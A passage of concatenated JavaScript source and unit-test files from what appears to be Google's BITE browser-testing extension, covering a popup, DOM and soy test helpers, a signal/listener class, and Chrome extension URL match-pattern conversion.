bite.Popup.CONSOLE_OPTIONS_.SETTINGS.name; popup.onClickCallback_(option); assertContains('options', chrome.tabs.createdTabUrl); } function testOnClickCallback_exception() { try { popup.onClickCallback_('blalsdjf'); } catch (e) { return; } fail('Should have thrown an error!'); } function testInitLoginComplete() { var callbackRecord = goog.testing.recordFunction(); var success = true; var url = 'loginOrOut'; var username = 'michaelwill'; var responseObj = { 'success': success, 'url': url, 'username': username }; var soyRecord = goog.testing.recordFunction(); stubs.set(soy, 'renderElement', soyRecord); var myVersion = 'myversion'; stubs.set(popup, 'getVersion', function() { return myVersion; }); // Going to ignore case where parse throws and exception. Testing onFailure_ // as a separate test. popup.initLoginComplete_(callbackRecord, responseObj); assertEquals(1, soyRecord.getCallCount()); var soyData = soyRecord.getLastCall().getArguments()[2]; assertEquals(myVersion, soyData.version); assertEquals(username, soyData.username); assertEquals(url, soyData.url); assertEquals(1, callbackRecord.getCallCount()); assertTrue(popup.getInitComplete()); } function testOnFailure_Error() { var callbackRecord = goog.testing.recordFunction(); var error = 'error'; var soyRecord = goog.testing.recordFunction(); stubs.set(soy, 'renderElement', soyRecord); popup.onFailure_(error, callbackRecord); assertFalse(popup.getInitComplete()); assertEquals(error, popup.getLastError()); assertEquals(1, soyRecord.getCallCount()); var soyData = soyRecord.getLastCall().getArguments()[2]; assertNotNull(soyData['message']); assertEquals(1, callbackRecord.getCallCount()); } function testInitDataComplete() { var mockCallback = mocks.createFunctionMock(); var mockParse = mocks.createFunctionMock(); mockParse('data').$returns({'version': 'a'}); stubs.set(goog.json, 'parse', mockParse); var mockInitLogin = mocks.createFunctionMock(); mockInitLogin(mockCallback).$returns(); stubs.set(bite.Popup.prototype, 'initLogin_', mockInitLogin); mocks.$replayAll(); // Going to ignore case where parse throws and exception. Testing onFailure_ // as a separate test. popup.initDataComplete_(mockCallback, true, 'data'); mocks.$verifyAll(); assertEquals('a', popup.getVersion()); } function testInit() { var callbackRecord = goog.testing.recordFunction(); var soyRecorder = goog.testing.recordFunction(); stubs.set(soy, 'renderElement', soyRecorder); var mockInitData = mocks.createFunctionMock(); mockInitData(callbackRecord).$returns(); stubs.set(bite.Popup.prototype, 'initData_', mockInitData); mocks.$replayAll(); popup.init(callbackRecord); popup.initComplete_ = true; popup.init(callbackRecord); mocks.$verifyAll(); assertEquals(1, soyRecorder.getCallCount()); assertEquals(1, callbackRecord.getCallCount()); } function testInstallEventHandlers() { var clickCallbackRecorder = goog.testing.recordFunction(); stubs.set(popup, 'onClickCallback_', clickCallbackRecorder); popup.installEventHandlers_(); var clickEvent = new goog.events.Event(goog.events.EventType.CLICK); // Try with the first element. var rowElement = goog.dom.getElementsByTagNameAndClass( 'tr', bite.Popup.POPUP_ITEM_ROW_CLASS_)[0]; goog.events.fireListeners(rowElement, goog.events.EventType.CLICK, false, clickEvent); assertEquals(1, clickCallbackRecorder.getCallCount()); var args = clickCallbackRecorder.getLastCall().getArguments(); assertEquals('item1', args[0]); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define useful soy related js_test functions. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.test_framework.SoyTests'); /** * Used to execute tests. * @constructor */ bite.common.test_framework.SoyTests = function() {}; goog.addSingletonGetter(bite.common.test_framework.SoyTests); /** * Examines all tag attribute values within the string generated by the soy * template against an expected value. The test is an assert chosen by the * user. * @param {function(string, string)} assert The assert function used to * test the attribute values against the expected value. * @param {string} expectedValue The value to compare against. * @param {string} tag The attribute tag to search for. * @param {function(Object=):string} template The soy template function. * @param {Object=} data The data to pass to the template. */ bite.common.test_framework.SoyTests.prototype.testAttributeValue = function(assert, expectedValue, tag, template, data) { var regexp = RegExp(tag + '=["]([^"]*)["]', 'gi'); var string = template(data || {}); // Keep executing the regular expression over the string to find the // subsequent tags as RegExp only matches successfully one pattern at a time. // When there are no more successful matches it will return null. var matches = regexp.exec(string); while (matches !== null) { // matches[0] == entire match including tag // matches[1] == only the portion of the match inside the () assert(matches[1], expectedValue); matches = regexp.exec(string); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define useful dom related js_test functions. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.test_framework.DomTests'); goog.require('goog.dom'); goog.require('goog.dom.query'); /** * Used to execute tests. * @constructor */ bite.common.test_framework.DomTests = function() {}; goog.addSingletonGetter(bite.common.test_framework.DomTests); /** * Performs a boolean test on elements against their given boolean attribute * versus expected values. * @param {Object.<string,boolean>} inputs The ids for the elements * mapped to their expected boolean value. * @param {string} attribute The name of the element attribute to examine. * @param {Element=} rootElement The element from which to do the queries. */ bite.common.test_framework.DomTests.prototype.testElementBooleanValue = function(inputs, attribute, rootElement) { rootElement = rootElement || goog.dom.getDocument(); for (var key in inputs) { var query = goog.dom.query('[id="' + key + '"]', rootElement); assertEquals(1, query.length); if (inputs[key]) { assertTrue(key, query[0][attribute]); } else { assertFalse(key, query[0][attribute]); } } }; /** * Performs an equality test on elements against their given attribute versus * expected values. * @param {Object.<string>} inputs The ids for the elements mapped to their * expected boolean value. * @param {string} attribute The name of the element attribute to examine. * @param {Element=} rootElement The element from which to do the queries. */ bite.common.test_framework.DomTests.prototype.testElementEqualsValue = function(inputs, attribute, rootElement) { rootElement = rootElement || goog.dom.getDocument(); for (var key in inputs) { var query = goog.dom.query('[id="' + key + '"]', rootElement); assertEquals(key, 1, query.length); assertEquals(key, inputs[key], query[0][attribute]); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define an event that also passes out data in the form of an * optional object. * * This is a generic event beyond that which is provided by goog.events.Event. * However, at a later time there may be a desire for more events. In that * case, this file will need to be altered to reflect a more specific usage. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.events.DataBearingEvent'); goog.require('goog.events.Event'); /** * See fileoverview. * @param {string} type The Event type. * @param {Object=} opt_data The data to pass on. * @extends {goog.events.Event} * @constructor * @export */ bite.common.events.DataBearingEvent = function(type, opt_data) { goog.base(this, type); /** * The data passed on by the EventTarget. * @type {?Object} * @private */ this.data_ = opt_data || null; }; goog.inherits(bite.common.events.DataBearingEvent, goog.events.Event); /** * Retrieve the data from the event. * @return {Object} The data encompassed by the event. * @export */ bite.common.events.DataBearingEvent.prototype.getData = function() { return this.data_; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.signal.Simple. * * Test cases: * testMultipleListeners * testBoundListeners * testSignal * noListeners * testBadInputs * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.signal.Simple'); /** * The signal created and destroyed for each test. * @type {bite.common.signal.Simple} */ var signal = null; /** * Sets up the environment for each unit test. */ function setUp() { signal = new bite.common.signal.Simple(); } /** * Cleans up the environment for each unit test. */ function tearDown() { signal = null; } /** * Tests the addition of multiple listeners to a signal. The test add five * listeners to the signal in a specific order and the signal fired. Then * the listeners are removed in a particular order to ensure that the listeners * requested for removal are the ones actually removed. The signal is fired * to test the correct removal. */ function testMultipleListeners() { var counter = 0; var f1Counter = 0; var f2Counter = 0; var f3Counter = 0; var f4Counter = 0; var f5Counter = 0; var f1 = function(obj) { obj.X == 3; ++counter; ++f1Counter; }; var f2 = function(obj) { obj.X == 3; ++counter; ++f2Counter; }; var f3 = function(obj) { obj.X == 3; ++counter; ++f3Counter; }; var f4 = function(obj) { obj.X == 3; ++counter; ++f4Counter; }; var f5 = function(obj) { obj.X == 3; ++counter; ++f5Counter; }; signal.addListener(f1); signal.addListener(f2); signal.addListener(f3); signal.addListener(f4); signal.addListener(f5); signal.fire({X: 3}); assertEquals(5, counter); // Make sure that removing from front, middle, and end will cause the // correct listeners to be removed. signal.removeListener(f1); signal.removeListener(f5); signal.removeListener(f3); signal.fire({X: 3}); assertEquals(7, counter); assertEquals(1, f1Counter); assertEquals(2, f2Counter); assertEquals(1, f3Counter); assertEquals(2, f4Counter); assertEquals(1, f5Counter); signal.clear(); signal.fire({X: 3}); assertEquals(7, counter); } /** * Tests adding listeners by key. Each goog.partial should return a unique * function literal allowing f1 to be added multiple times as a listener. */ function testBoundListeners() { var counter = 0; var f1 = function(obj) { obj.X == 3 && ++counter; }; var f2 = goog.partial(f1); var f3 = goog.partial(f1); signal.addListener(f1); signal.addListener(f1, f2); signal.addListener(f1, f3); signal.fire({X: 3}); assertEquals(3, counter); assertTrue(signal.hasListener(f1)); assertTrue(signal.hasListener(f2)); assertTrue(signal.hasListener(f3)); signal.removeListener(f1); signal.fire({X: 3}); assertEquals(5, counter); signal.removeListener(f2); signal.removeListener(f3); signal.fire({X: 3}); assertEquals(5, counter); } /** * Tests the signal object's ability to add and fire listeners. There are * three listeners that test for different types of inputs: numeric, not * undefined, and undefined. The not undefined input should take any kind * of input. */ function testSignal() { var funcXNum = function(data) { assertEquals(data.X, 3); } var funcNotUndefined = function(data) { assertNotUndefined(data); } var funcUndefined = function(data) { assertUndefined(data); } // Test fire with actual values. signal.addListener(funcXNum); assertTrue(signal.hasListener(funcXNum)); signal.fire({X: 3}); signal.removeListener(funcXNum); // Test fire with empty object. signal.addListener(funcNotUndefined); assertTrue(signal.hasListener(funcNotUndefined)); signal.fire({}); signal.removeListener(funcNotUndefined); // Test fire with no object. signal.addListener(funcUndefined); assertTrue(signal.hasListener(funcUndefined)); signal.fire(); signal.removeListener(funcUndefined); } /** * Tests the presence and removal of a listener that has not been added. */ function noListeners() { var f = function() {}; try { signal.hasListener(f); signal.removeListener(f); } catch (error) { fail(error); } } /** * Tests non-function inputs to addListener, hasListener, removeListener. */ function testBadInputs() { try { signal.addListener(); signal.addListener(0); signal.addListener('string'); signal.addListener({x: true}); signal.addListener(null); signal.addListener(undefined); signal.hasListener(); signal.hasListener(0); signal.hasListener('string'); signal.hasListener({x: true}); signal.hasListener(null); signal.hasListener(undefined); signal.removeListener(); signal.removeListener(0); signal.removeListener('string'); signal.removeListener({x: true}); signal.removeListener(null); signal.removeListener(undefined); } catch (error) { fail(error); } }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Signals provide an event-like procedure for associating * callbacks to those that have the data needed by those callbacks. Instead of * the typical event procedure where an object must "be" an event target and * dispatches multiple event types through a single function. The Signal * approach allows objects to designate/own only those signals that it creates. * Then listeners will attach to the specific signal of interest, and are * called immediately when the signal fires. The signal is meant to offer a * non-DOM oriented approach that does not include event bubbling or others * to intercept data being listened to. * * Notice that all the public functions are not exported. That is left to the * user to either export the properties or create an object that maps the * correct namespace. * * Public Interface: * bite.common.signal.Simple (constructor) - Constructs a new Signal object. * See constructor documentation for more details. * * Public prototype functions for bite.common.signal.Simple: * addListener - Allows handler functions to be registered for the event * associated with the Signal object. When the object fires, all * handlers will be called and passed data in the form of an object. * hasListener - Determines where or not a handler has been registered. * removeListener - Allows handlers to be unregistered for an event. * * Public prototype functions for bite.common.signal.Simple (only intended to * be called by the owner): * clear - Removes all listeners. * fire - Called by the owning object with specific data. The data is * then passed to each handler as it is executed. * * TODO (jasonstredwick): * -Decide on a proper namespace now that I have two variants. * -Figure out if there is a way to decouple the clear/fire functions from * the addListener, hasListener, and removeListener so only those * available externally is visible to them. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.signal.Simple'); /** * Provides a class that can manage a set of unique handler functions that will * be called when the class is fired. Any callback registered with the * listener is not modified. * @constructor */ bite.common.signal.Simple = function() { /** * Maintain a list of listeners and their related information. Each entry * contains the callback wrapper and a key for identifying the corresponding * listener. * @type {Array.<{handler: function(...[*]), key: function(...[*])}>} * @private */ this.listeners_ = []; }; /** * Adds a handler to the managed set unless it is already present. * @param {function(...[*])} handler The callback to register. This is the * function that will be called when the signal is fired. * @param {function(...[*])=} opt_key A function used to identify the * presence of the handler as a listener instead of the handler itself. * This can be used in place of storing dynamic functions such as those * generated by goog.partial. */ bite.common.signal.Simple.prototype.addListener = function(handler, opt_key) { if (!goog.isFunction(handler) || (opt_key && !goog.isFunction(opt_key))) { return; } var key = opt_key || handler; if (this.getIndex_(key) >= 0) { return; } this.listeners_.push({handler: handler, key: key}); }; /** * Determines if the handler identified by the given key is in the managed set. * @param {function(...[*])} key A function used to identify the handler to * remove. Typically, the key will be the handler itself unless the * opt_key was given to addListener. * @return {boolean} Whether or not the handle is present. */ bite.common.signal.Simple.prototype.hasListener = function(key) { if (!goog.isFunction(key)) { return false; } var index = this.getIndex_(key); return index >= 0; }; /** * Removes the handler identified by the given key from the managed set if * present. * @param {function(...[*])} key A function used to identify the handler to * remove. Typically, the key will be the handler itself unless the * opt_key was given to addListener. */ bite.common.signal.Simple.prototype.removeListener = function(key) { if (!goog.isFunction(key)) { return; } var index = this.getIndex_(key); if (index < 0) { return; } this.listeners_.splice(index, 1); }; /** * Removes all the listeners that are being managed. */ bite.common.signal.Simple.prototype.clear = function() { this.listeners_ = []; }; /** * Calls all the listeners managed by this signal and pass on the given data. * The input to this function will be an arbitrary number of arguments. * @param {...*} var_args Can take a variable number of arguments or none. */ bite.common.signal.Simple.prototype.fire = function(var_args) { for (var i = 0; i < this.listeners_.length; ++i) { var handler = this.listeners_[i].handler; // TODO (jasonstredwick): Determine the security risk of passing an object // reference instead of a copy/readonly version of the object. handler.apply(null, arguments); } }; /** * Traverses the list of listeners and returns listener's index that matches * the given key, or -1 if no match is found. * @param {function(...[*])} key A function used to identify the handler to * remove. Typically, the key will be the handler itself unless the * opt_key was given to addListener. * @return {number} The matched listener's index or -1. * @private */ bite.common.signal.Simple.prototype.getIndex_ = function(key) { for (var i = 0; i < this.listeners_.length; ++i) { if (key == this.listeners_[i].key) { return i; } } return -1; };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define functions for processing url match patterns as * specified by the chrome extensions API, see * * http://code.google.com/chrome/extensions/match_patterns.html (Oct 2011) * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.common.chrome.extension.urlMatching'); /** * Various replacement patterns that are used to covert from extension format * to RegExp format. * @enum {string} */ bite.common.chrome.extension.urlMatching.MatchPatterns = { ALL_URLS: '<all_urls>', MATCH_ALL_HOST: '*', MATCH_ALL_PATH: '[/]*', MATCH_ALL_SCHEME: '*', STAR_HOST: '[^/*]+', STAR_PATH: '.*', STAR_SCHEME: '(http|https|file|ftp)' }; /** * Various regular expressions for parsing extension match patterns. * @enum {RegExp} */ bite.common.chrome.extension.urlMatching.Regexp = { ALL_EXPRESSIONS_TRUE: /^<all_urls>$/, // matches everything except no match CONVERT_HOST: /^[*]/, CONVERT_PATH_ALL: /([^.])[*]/g, CONVERT_SCHEME_ALL: /^[*]$/, MATCH_ALL: /^([*]|http|https|file|ftp):[/][/]([*]|[*]?[^/*]+)?([/].*)$/, MATCH_HOST: /^[*]$|^[*]?[^/*]+$/, MATCH_HOST_ALL: /^[*]$/, MATCH_PATH: /([/].*)$/, MATCH_SCHEME: /^([*]|http|https|file|ftp)/, MATCH_SCHEME_EXPLICIT: /^(http|https|file|ftp)/ }; /** * Converts the chrome extension match pattern into a RegExp. Can throw an * exception with an error string. * @param {string} pattern The extension-based pattern. * @return {RegExp} Either a RegExp or null if the match is not valid. */ bite.common.chrome.extension.urlMatching.convertToRegExp = function(pattern) { try { var urlMatching = bite.common.chrome.extension.urlMatching; var data = null; if (pattern == urlMatching.MatchPatterns.ALL_URLS) { data = { scheme: urlMatching.MatchPatterns.MATCH_ALL_SCHEME, host: urlMatching.MatchPatterns.MATCH_ALL_HOST, path: urlMatching.MatchPatterns.MATCH_ALL_PATH }; } else { var matches = urlMatching.Regexp.MATCH_ALL.exec(pattern); if (matches) { // matches[0] == matched text for the entire expression. // matches[1..3] correlate to substrings found by the subpatterns in // MATCH_ALL. // Note: Subpattern matching will return undefined if not matched. data = { scheme: matches[1], host: matches[2], path: matches[3] }; } } return urlMatching.formRegExp_(data); } catch (error) { throw 'ERROR (bite.common.chrome.extension.urlMatching.convertToRegExp):' + ' Given pattern: ' + pattern + ' - Exception was thrown: ' + error; } }; /** * Converts the piece-wise match patterns from convertToRegExp into a single * regular expression that will match correct urls, using correct regular * expression syntax. Can throw an exception when creating a new RegExp. Host * data is optional since it should be undefined when the scheme is 'file'. * @param {?{scheme: string, host: string, path: string}} input An object * containing the components of a match: scheme, host, and path. * @return {RegExp} A regular expression that captures the match, or null if * inputs are not valid. * @private */ bite.common.chrome.extension.urlMatching.formRegExp_ = function(input) { // A valid expression must have a scheme and path. // If the scheme is not a file then it must have a component. // If the scheme is file then it cannot have a host component. if (!input || !input.scheme || !input.path || (input.scheme != 'file' && !input.host) || (input.scheme == 'file' && input.host)) { return null; } var urlMatching = bite.common.chrome.extension.urlMatching; // If scheme can be any scheme (*) then convert the scheme match into // specific valid options as specified in STAR_SCHEME. var scheme = input.scheme.replace(urlMatching.Regexp.CONVERT_SCHEME_ALL, urlMatching.MatchPatterns.STAR_SCHEME); var host = ''; if (input.host) { if (urlMatching.Regexp.MATCH_HOST_ALL.test(input.host)) { host = input.host.replace(urlMatching.Regexp.CONVERT_HOST, urlMatching.MatchPatterns.STAR_HOST); } else if (urlMatching.Regexp.MATCH_HOST.test(input.host)) { host = input.host.replace(urlMatching.Regexp.CONVERT_HOST, urlMatching.MatchPatterns.STAR_HOST); } else { return null; } } // Replace consecutive *s with a single * first then replace all *s with // '.*'. $1 is required to conserve the character before the * otherwise it // would be stripped out during the replace. var path = input.path.replace(/[*]+/g, '*'); path = path.replace(urlMatching.Regexp.CONVERT_PATH_ALL, '$1' + urlMatching.MatchPatterns.STAR_PATH); return new RegExp('^' + scheme + '://' + host + path + '$'); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.chrome.extension.urlMatching. * * Test cases: * testMatchAll * testSchemeConversion * testHostConversion * testPathConversion * testBadFormat * testNoPattern * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.chrome.extension.urlMatching'); /** * Sets up the environment for each unit test. */ function setUp() {} /** * Cleans up the environment for each unit test. */ function tearDown() {} /** * Tests conversion the match all url patterns. Match all does not match * no url and the scheme must be valid. */ function testMatchAll() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; // Match all urls and match all using wild cards gives the same result. var pattern = '*://*/*'; assertTrue(convert(pattern).test('http://www.google.com/test1')); pattern = '<all_urls>'; assertTrue(convert(pattern).test('http://www.google.com/test1')); assertTrue(convert(pattern).test('http://a/b/c/d')); assertTrue(convert(pattern).test('http://a/b')); assertTrue(convert(pattern).test('http://a/')); // Invalid match due to invalid scheme. assertFalse(convert(pattern).test('other://www.google.com/test1')); } /** * Tests the conversion and validation of scheme components including the * match all scheme pattern. */ function testSchemeConversion() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; // Invalid schemes as they must be one of the valid schemes given in // bite.common.chrome.extension.urlMatching.Regexp.MATCH_SCHEME_EXPLICIT. // The star is a valid scheme, but cannot be used in conjunction with any // text, it must the single star character. var pattern = 'bhttp://*/*'; assertNull(convert(pattern)); pattern = 'httpb://*/*'; assertNull(convert(pattern)); pattern = 'http*://*/*'; assertNull(convert(pattern)); pattern = 'chrome://*/*'; assertNull(convert(pattern)); pattern = 'other://*/*'; assertNull(convert(pattern)); // Valid explicit schemes; does not include match all scheme pattern. pattern = 'http://*/*'; assertTrue(convert(pattern).test('http://www.google.com/')); pattern = 'https://*/*'; assertTrue(convert(pattern).test('https://www.google.com/')); assertFalse(convert(pattern).test('http://www.google.com/')); pattern = 'file:///*'; assertTrue(convert(pattern).test('file:///')); pattern = 'ftp://*/*'; assertTrue(convert(pattern).test('ftp://www.google.com/')); // Valid match all scheme patterns. pattern = '*://*/*'; assertTrue(convert(pattern).test('ftp://www.google.com/')); assertTrue(convert(pattern).test('http://www.google.com/')); assertTrue(convert(pattern).test('https://www.google.com/')); // Invalid match all scheme patterns. pattern = '*://*/*'; assertFalse(convert(pattern).test('other://www.google.com/')); } /** * Tests the conversion and validation of host components including the * match all pattern. This test examines bad wild card usage. When examining * proper wild card usage it can match anything that ends with the substring * following the wild card. */ function testHostConversion() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; // Invalid pattern; the match all pattern must be the first character in the // host pattern if present. var pattern = '*://www.*/*'; assertNull(convert(pattern)); // Invalid pattern; only a single match all pattern is allowed in the host. pattern = '*://*.google.*/*'; assertNull(convert(pattern)); // Match an explicit host. pattern = '*://www.google.com/*'; assertTrue(convert(pattern).test('http://www.google.com/')); assertFalse(convert(pattern).test('http://maps.google.com/')); // Match any hosts that ends with '.google.com'. pattern = '*://*.google.com/*'; assertTrue(convert(pattern).test('http://www.google.com/')); assertTrue(convert(pattern).test('http://maps.google.com/')); assertTrue(convert(pattern).test('http://maps.google.google.com/')); assertFalse(convert(pattern).test('http://maps.com/')); // Match any host that ends with 'oogle.com'. pattern = '*://*oogle.com/*'; assertTrue(convert(pattern).test('http://www.google.com/')); assertTrue(convert(pattern).test('http://maps.google.com/')); assertTrue(convert(pattern).test('http://www.froogle.com/')); assertTrue(convert(pattern).test('http://froogle.com/')); // Match any host. pattern = '*://*/*'; assertTrue(convert(pattern).test('http://www.google.com/')); assertTrue(convert(pattern).test('http://a.b.c/')); assertTrue(convert(pattern).test('http://a/')); assertFalse(convert(pattern).test('http:///')); } /** * Tests conversion and validation of path components including the match * all patterns. */ function testPathConversion() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; // Match exact path that only matches a single slash. var pattern = '*://*/'; assertTrue(convert(pattern).test('http://www.google.com/')); assertFalse(convert(pattern).test('http://www.google.com')); assertFalse(convert(pattern).test('http://www.google.com/x')); // Match any path that starts with '/test'. pattern = '*://*/test*'; assertTrue(convert(pattern).test('http://www.google.com/test')); assertTrue(convert(pattern).test('http://www.google.com/test/')); assertTrue(convert(pattern).test('http://www.google.com/test/*')); assertTrue(convert(pattern).test('http://www.google.com/testing')); assertTrue(convert(pattern).test('http://www.google.com/test/test1/test')); // Match any path that starts with a slash and ends with 'test'. pattern = '*://*/*test'; assertTrue(convert(pattern).test('http://www.google.com/test')); assertTrue(convert(pattern).test('http://www.google.com/testtest')); assertTrue(convert(pattern).test('http://www.google.com/footest')); assertTrue(convert(pattern).test('http://www.google.com/foo/test')); assertFalse(convert(pattern).test('http://www.google.com/foo/test/')); // Match any path that starts with a slash and contains 'test'. pattern = '*://*/*test*'; assertTrue(convert(pattern).test('http://www.google.com/test')); assertTrue(convert(pattern).test('http://www.google.com/testtest')); assertTrue(convert(pattern).test('http://www.google.com/footestbar')); assertTrue(convert(pattern).test('http://www.google.com/foo/test/bar')); // Match any path that contains a partial path of '/test1/'. pattern = '*://*/test1/*'; assertFalse(convert(pattern).test('http://www.google.com/test1')); assertTrue(convert(pattern).test('http://www.google.com/test1/')); assertTrue(convert(pattern).test('http://www.google.com/test1/foo/bar/x')); // Match any path bounded by two exact path fragments. pattern = '*://*/test1/*/test2'; assertFalse(convert(pattern).test('http://www.google.com/test1/test2')); assertTrue(convert(pattern).test('http://www.google.com/test1/foo/test2')); assertTrue(convert(pattern).test( 'http://www.google.com/test1/foo/bar/test2')); // Match any path that begins with a specific path fragment and ends with a // slash. pattern = '*://*/test1/*/'; assertTrue(convert(pattern).test('http://www.google.com/test1/foo/')); assertTrue(convert(pattern).test('http://www.google.com/test1/foo/bar/x/')); assertFalse(convert(pattern).test('http://www.google.com/test1/')); // Match a path that begins with a specific path fragment and the pattern // contains multiple consecutive stars. pattern = '*://*/test1**'; assertTrue(convert(pattern).test('http://www.google.com/test1')); assertTrue(convert(pattern).test('http://www.google.com/test1/foo/bar')); } /** * Tests conversion of Chrome Extension match patterns into a RegExp when * supplied with invalid patterns. */ function testBadFormat() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; var pattern = '*'; // Attempt to match everything. assertNull(convert(pattern)); pattern = '*//*/*'; // Missing ':' after scheme. assertNull(convert(pattern)); pattern = '*:*/*'; // Missing '//' after scheme. assertNull(convert(pattern)); pattern = '*:/*/*'; // Missing '/' after scheme. assertNull(convert(pattern)); pattern = '*://*'; // Missing path. assertNull(convert(pattern)); pattern = '*:///*'; // Only valid when scheme is file. assertNull(convert(pattern)); pattern = '*://**/*'; // Second star in host is invalid. assertNull(convert(pattern)); pattern = '*://*.google.*/*'; // Second star in host is invalid. assertNull(convert(pattern)); pattern = '*://www.google.*/*'; // Star in host is invalid, must be first assertNull(convert(pattern)); // character. pattern = 'file://*/*'; // Host is invalid, file scheme cannot have a host. assertNull(convert(pattern)); pattern = ' <all_urls>'; // Space before <all_urls> is invalid. assertNull(convert(pattern)); pattern = '<all_urls> '; // Space after <all_urls> is invalid. assertNull(convert(pattern)); pattern = '<ALL_URLS>'; // Capitalization invalid, test is case sensitive. assertNull(convert(pattern)); } /** * Tests conversion when given nothing; i.e. undefined, null, and the empty * string. */ function testNoPattern() { var convert = bite.common.chrome.extension.urlMatching.convertToRegExp; assertNull(convert(undefined)); assertNull(convert(null)); assertNull(convert('')); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for bite.common.mvc.helper. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.require('bite.common.mvc.helper'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); goog.require('goog.dom.query'); function setUp() {} function tearDown() {} /** * Test bite.common.mvc.helper.bulkGetElementById */ function testBulkGetElementById() { var body = goog.dom.getDocument().body; var x = goog.dom.createElement(goog.dom.TagName.DIV); var y = goog.dom.createElement(goog.dom.TagName.DIV); var z = goog.dom.createElement(goog.dom.TagName.DIV); x.id = 'x'; y.id = 'y'; z.id = 'z'; goog.dom.appendChild(body, x); goog.dom.appendChild(body, y); goog.dom.appendChild(body, z); var obj = { 'x': undefined, 'y': undefined, 'z': undefined }; // Test find with src element. assertTrue(bite.common.mvc.helper.bulkGetElementById(obj, body)); assertFalse(goog.isNull(obj.x) || goog.isNull(obj.y) || goog.isNull(obj.z)); obj.x = undefined; obj.y = undefined; obj.z = undefined; // Test find without src element. assertTrue(bite.common.mvc.helper.bulkGetElementById(obj)); assertFalse(goog.isNull(obj.x) || goog.isNull(obj.y) || goog.isNull(obj.z)); obj.x = undefined; obj.y = undefined; obj.z = undefined; // Test find with missing id. obj['a'] = undefined; assertFalse(bite.common.mvc.helper.bulkGetElementById(obj)); assertTrue(goog.isNull(obj.a)); // Clean up goog.dom.removeNode(x); goog.dom.removeNode(y); goog.dom.removeNode(z); } /** * Test bite.common.mvc.helper.getElement. */ function testGetElement() { var body = goog.dom.getDocument().body; var x = goog.dom.createElement(goog.dom.TagName.DIV); x.id = 'x'; x.innerHTML = '<div id="y"><div id="z"></div></div>'; goog.dom.appendChild(body, x); var element = bite.common.mvc.helper.getElement('y', goog.dom.getDocument()); assertNotNull(element); assertEquals('y', element.id); 